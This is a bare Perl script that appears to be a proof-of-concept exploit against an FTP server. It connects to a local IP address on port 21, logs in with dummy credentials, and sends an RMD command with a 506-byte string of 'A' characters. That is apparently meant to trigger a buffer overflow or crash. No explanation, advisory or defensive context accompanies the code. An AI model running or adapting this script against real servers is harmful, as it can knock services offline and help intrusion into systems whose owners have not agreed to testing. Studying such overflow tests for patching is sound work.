use IO::socket::INET;



$host = "192.168.1.71";

$port = 21;

$buffer = "A" x 506;



$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port) || die 

"[!] Unable to connect to $host\n";



for($i = 1; $i < 10; $i++)

{

$socket->recv($recvbuf,200);

print $recvbuf;

}



print $socket "USER 1\r\n";

$socket->recv($recvbuf,200);

print $recvbuf;



print $socket "PASS 1\r\n";

for($i = 1; $i < 10; $i++)

{

$socket->recv($recvbuf,200);

print $recvbuf;

}



print $socket "RMD $buffer\r\n";

$socket->recv($recvbuf,200);

print $recvbuf;



close($socket);